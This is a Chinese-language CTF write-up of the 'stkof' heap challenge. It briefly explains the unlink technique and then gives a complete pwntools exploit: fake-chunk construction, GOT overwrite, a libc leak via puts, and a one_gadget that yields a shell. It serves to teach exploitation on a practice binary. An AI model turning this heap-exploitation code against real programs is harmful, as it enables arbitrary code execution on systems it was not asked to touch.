题目是wiki上的一道题目,对应的知识点是unlink,也是因为一些事情很久没有学pwn了,下面简单分析一下这道题目。
漏洞是在编辑chunk的功能里存在的:
可以任意大小的向chunk里输入内容。
我们已知存储chunk数组的地址,同时可以修改next_chunk的 pre_size位和size位,可以采用unlink。
unlink的核心思想就是,通过相关的检查,将一个chunk从一个chun的链表中取出,然后与其地址相邻的free状态的chunk进行合并。
本题的利用思路就是:
通过编辑一个chunk覆盖其下一个chunk的pre_size位和size位,然后在当前chunk的数据域构造一个fake_chunk,通过unlink的检查机制,然后执行unlink,随后修改bss段中chunk数组中所存的数据,从而达到任意地址写的目的。
exp:
from pwn import *
p = process("./stkof")
elf = ELF("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"
p.timeout = 0.5
def add(size):
p.sendline("1")
p.sendline(str(size))
p.recvuntil("OK\n")
def edit(index,size,desc):
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.sendline(desc)
p.recvuntil("OK\n")
def free(index):
p.sendline("3")
p.sendline(str(index))
p.recvuntil("0K\n")
add(0X10)
add(0X30)
add(0X80)
add(0x10)
pl1 = p64(0) + p64(0X30) + p64(0x602138) + p64(0x602140) + p64(0X20) + p64(0) + p64(0x30) + p64(0x90)
edit(2,0x40,pl1) #make fake_chunk
free(3)#unlink
pl2 = "a"*(0x8) + p64(elf.got["free"]) + p64(elf.got["puts"]) + p64(elf.got["atoi"])
edit(2,0x20,pl2)
edit(0,0x8,p64(elf.plt["puts"]))
free(1)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("puts_addr:"+hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
sys= libc_base + libc.sym["system"]
sh =libc_base + next(libc.search("/bin/sh"))
gadget = libc_base + 0xf03a4 #0xf1247 one_gadget
log.success("sys_addr:" +hex(sys))
edit(2,0x8,p64(gadget))
p.interactive()
成功拿到shell: